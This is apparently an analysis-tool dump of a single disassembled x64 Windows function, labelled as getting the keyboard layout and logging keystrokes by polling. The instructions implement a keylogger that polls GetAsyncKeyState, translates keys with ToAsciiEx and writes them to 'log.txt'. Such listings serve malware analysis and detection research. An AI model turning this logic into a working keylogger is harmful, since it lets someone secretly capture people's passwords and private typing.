Function at 0x140001740
Capabilities:
Get keyboard layout
Log keystrokes via polling

Disassembly:
mov rax, rsp
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x138]
sub rsp, 0x210
mov qword [rsp + 0x70], 0xfffffffffffffffe
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
movaps xmmword [rax - 0x38], xmm6
movaps xmmword [rax - 0x48], xmm7
mov rax, qword [0x14000a010]
xor rax, rsp
mov qword [rbp + 0xe0], rax
xor r13d, r13d
mov r15d, r13d
mov dword [rbp - 0x80], r13d
movdqa xmm0, xmmword [0x140006aa0]
movdqu xmmword [rbp - 0x48], xmm0
mov byte [rbp - 0x58], r13b
lea r8d, [r13 + 7]
lea rdx, str.log.txt
lea rcx, [rbp - 0x58]
call fcn.140002fe0
nop
mov r14d, 0x100
mov r8d, r14d
xor edx, edx
lea rcx, [rbp - 0x20]
call sub.VCRUNTIME140.dll_memset
xor ecx, ecx
call qword [sym.imp.USER32.dll_GetKeyboardLayout]
mov r12, rax
lea rdx, str.Started
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140003380
mov rcx, rax
lea rdx, [0x140003550]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea edi, [r14 - 0x5e]
lea rsi, [0x140006698]
mov ecx, 0xa
call qword [sym.imp.KERNEL32.dll_Sleep]
movzx ebx, r13w
movzx ecx, bx
call qword [sym.imp.USER32.dll_GetKeyState]
mov ecx, 0x8000
test cx, ax
je 0x140001846
movzx eax, bx
sub ax, di
cmp ax, 1
jbe 0x140001846
lea eax, [rbx - 0x11]
cmp ax, 1
jbe 0x140001846
movzx eax, bx
mov byte [rbp + rax - 0x20], 0x80
jmp 0x140001857
movzx eax, bx
cmp rax, r14
jae 0x140001eaa
mov byte [rbp + rax - 0x20], 0
inc bx
cmp bx, r14w
jb 0x140001814
movzx r14d, r13w
movzx ebx, r14w
mov ecx, ebx
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
cmp ax, 0x8001
jne 0x140001e57
cmp r14w, 0x10
je 0x140001e57
mov eax, 0xa0
cmp r14w, ax
je 0x140001e57
movzx eax, r14w
sub ax, di
cmp ax, 2
jbe 0x140001e57
mov eax, 0xa5
cmp r14w, ax
je 0x140001e57
mov qword [rbp - 0x68], r13
mov qword [rbp - 0x60], 0xf
mov byte [rbp - 0x78], 0
movzx edx, r14b
lea rcx, [rsp + 0x30]
call fcn.140002230
mov rdi, rax
lea rax, [rbp - 0x78]
cmp rax, rdi
je 0x140001947
mov rdx, qword [rbp - 0x60]
cmp rdx, 0x10
jb 0x140001919
inc rdx
mov rcx, qword [rbp - 0x78]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001914
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140001e72
call fcn.1400044cc
mov qword [rbp - 0x68], r13
mov qword [rbp - 0x60], 0xf
mov byte [rbp - 0x78], 0
movups xmm0, xmmword [rdi]
movups xmmword [rbp - 0x78], xmm0
movups xmm1, xmmword [rdi + 0x10]
movups xmmword [rbp - 0x68], xmm1
mov qword [rdi + 0x10], r13
mov qword [rdi + 0x18], 0xf
mov byte [rdi], 0
mov rdx, qword [rsp + 0x48]
cmp rdx, 0x10
jb 0x140001984
inc rdx
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000197f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140001e79
call fcn.1400044cc
cmp qword [rbp - 0x68], 0
jne 0x140001d2a
mov r8, r12
xor edx, edx
mov ecx, ebx
call qword [sym.imp.USER32.dll_MapVirtualKeyExW]
mov edx, eax
mov qword [rsp + 0x28], r12
mov dword [rsp + 0x20], r13d
lea r9, [rbp - 0x80]
lea r8, [rbp - 0x20]
mov ecx, ebx
call qword [sym.imp.USER32.dll_ToAsciiEx]
cmp eax, 1
jne 0x140001a7e
mov qword [rsp + 0x40], r13
mov qword [rsp + 0x48], 0xf
mov byte [rsp + 0x30], 0
xor r8d, r8d
lea rdx, [0x140006639]
lea rcx, [rsp + 0x30]
call fcn.140002fe0
nop
mov rdx, qword [rsp + 0x40]
mov r8, qword [rsp + 0x48]
lea rcx, [rsp + 0x30]
cmp rdx, r8
jae 0x140001a1e
lea rax, [rdx + 1]
mov qword [rsp + 0x40], rax
cmp r8, 0x10
cmovae rcx, qword [rsp + 0x30]
movzx eax, byte [rbp - 0x80]
mov byte [rcx + rdx], al
mov byte [rcx + rdx + 1], 0
jmp 0x140001a28
movzx r9d, byte [rbp - 0x80]
call fcn.140003710
or r15d, 1
mov rdx, qword [rbp - 0x60]
cmp rdx, 0x10
jb 0x140001a67
inc rdx
mov rcx, qword [rbp - 0x78]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001a62
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140001e80
call fcn.1400044cc
movups xmm0, xmmword [rsp + 0x30]
movups xmmword [rbp - 0x78], xmm0
movups xmm1, xmmword [rsp + 0x40]
movups xmmword [rbp - 0x68], xmm1
jmp 0x140001d2a
cmp eax, 2
jne 0x140001a9c
lea r8d, [rax - 1]
lea rdx, str._____n
lea rcx, [rbp - 0x78]
call fcn.140002fe0
jmp 0x140001d2a
lea r9, [rbp - 0x23]
dec r9
mov eax, 0xcccccccd
mul ebx
shr edx, 3
movzx eax, dl
shl al, 2
lea ecx, [rax + rdx]
add cl, cl
sub bl, cl
add bl, 0x30
mov byte [r9], bl
mov ebx, edx
test edx, edx
jne 0x140001aa0
mov rcx, r13
mov qword [rsp + 0x40], rcx
mov edx, 0xf
mov qword [rsp + 0x48], rdx
mov byte [rsp + 0x30], cl
lea rax, [rbp - 0x23]
cmp r9, rax
je 0x140001b03
lea r8, [rbp - 0x23]
sub r8, r9
mov rdx, r9
lea rcx, [rsp + 0x30]
call fcn.140002fe0
mov rdx, qword [rsp + 0x48]
mov rcx, qword [rsp + 0x40]
or r15d, 6
mov rax, rdx
sub rax, rcx
cmp rax, 1
jb 0x140001b95
lea r8, [rcx + 1]
mov qword [rsp + 0x40], r8
lea rbx, [rsp + 0x30]
cmp rdx, 0x10
cmovae rbx, qword [rsp + 0x30]
lea rax, [0x140006699]
cmp rax, rbx
jbe 0x140001b56
lea rax, [rbx + rcx]
cmp rsi, rax
ja 0x140001b56
cmp rbx, rsi
ja 0x140001b4e
mov rdi, r13
jmp 0x140001b5b
mov rdi, rbx
sub rdi, rsi
jmp 0x140001b5b
mov edi, 1
lea rcx, [rbx + 1]
mov rdx, rbx
call sub.VCRUNTIME140.dll_memmove
mov r8, rdi
mov rdx, rsi
mov rcx, rbx
call sub.VCRUNTIME140.dll_memcpy
mov r8d, 1
sub r8, rdi
lea rdx, [rsi + 1]
add rdx, rdi
lea rcx, [rbx + rdi]
call sub.VCRUNTIME140.dll_memcpy
lea rax, [rsp + 0x30]
jmp 0x140001bad
mov qword [rsp + 0x28], 1
mov edx, 1
lea rcx, [rsp + 0x30]
call fcn.140003ea0
mov qword [rsp + 0x60], r13
mov qword [rsp + 0x68], r13
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x50], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x60], xmm1
mov qword [rax + 0x10], r13
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov rcx, qword [rsp + 0x60]
mov rdx, qword [rsp + 0x68]
mov rax, rdx
sub rax, rcx
cmp rax, 1
jb 0x140001c28
lea rax, [rcx + 1]
mov qword [rsp + 0x60], rax
lea rbx, [rsp + 0x50]
cmp rdx, 0x10
cmovae rbx, qword [rsp + 0x50]
add rbx, rcx
mov r8d, 1
lea rdx, [0x140006694]
mov rcx, rbx
call sub.VCRUNTIME140.dll_memmove
mov byte [rbx + 1], 0
lea rax, [rsp + 0x50]
jmp 0x140001c40
mov qword [rsp + 0x20], 1
mov edx, 1
lea rcx, [rsp + 0x50]
call fcn.140003870
movups xmm6, xmmword [rax]
movups xmm7, xmmword [rax + 0x10]
mov qword [rax + 0x10], r13
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
or r15d, 0x18
mov rdx, qword [rbp - 0x60]
cmp rdx, 0x10
jb 0x140001c95
inc rdx
mov rcx, qword [rbp - 0x78]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001c90
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140001e87
call fcn.1400044cc
movups xmmword [rbp - 0x78], xmm6
movups xmmword [rbp - 0x68], xmm7
mov rdx, qword [rsp + 0x68]
cmp rdx, 0x10
jb 0x140001cda
inc rdx
mov rcx, qword [rsp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001cd5
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140001e8e
call fcn.1400044cc
mov qword [rsp + 0x60], r13
mov qword [rsp + 0x68], 0xf
mov byte [rsp + 0x50], 0
mov rdx, qword [rsp + 0x48]
cmp rdx, 0x10
jb 0x140001d2a
inc rdx
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001d25
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140001e95
call fcn.1400044cc
lea rdx, [rbp - 0x78]
cmp qword [rbp - 0x60], 0x10
cmovae rdx, qword [rbp - 0x78]
mov r8, qword [rbp - 0x68]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140003b30
mov qword [rsp + 0x40], r13
mov qword [rsp + 0x48], r13
mov rdi, qword [rbp - 0x68]
lea rsi, [rbp - 0x78]
cmp qword [rbp - 0x60], 0x10
cmovae rsi, qword [rbp - 0x78]
cmp rdi, 0x10
jae 0x140001d80
movups xmm0, xmmword [rsi]
movups xmmword [rsp + 0x30], xmm0
mov qword [rsp + 0x48], 0xf
jmp 0x140001e00
mov rbx, rdi
or rbx, 0xf
movabs rax, 0x7fffffffffffffff
cmp rbx, rax
cmova rbx, rax
lea rax, [rbx + 1]
cmp rax, 0x1000
jb 0x140001dd5
lea rcx, [rax + 0x27]
cmp rcx, rax
mov rax, 0xffffffffffffffff
cmovbe rcx, rax
call fcn.140004490
mov rcx, rax
test rax, rax
je 0x140001e9c
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
jmp 0x140001de7
test rax, rax
je 0x140001de4
mov rcx, rax
call fcn.140004490
jmp 0x140001de7
mov rax, r13
mov qword [rsp + 0x30], rax
lea r8, [rdi + 1]
mov rdx, rsi
mov rcx, rax
call sub.VCRUNTIME140.dll_memcpy
mov qword [rsp + 0x48], rbx
mov qword [rsp + 0x40], rdi
lea rdx, [rbp - 0x58]
lea rcx, [rsp + 0x30]
call fcn.140001eb0
nop
mov rdx, qword [rbp - 0x60]
cmp rdx, 0x10
jb 0x140001e4b
inc rdx
mov rcx, qword [rbp - 0x78]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001e46
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140001ea3
call fcn.1400044cc
mov edi, 0xa2
lea rsi, [0x140006698]
inc r14w
mov eax, 0x100
cmp r14w, ax
jb 0x140001864
mov r14d, eax
jmp 0x140001805
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400042fc
int3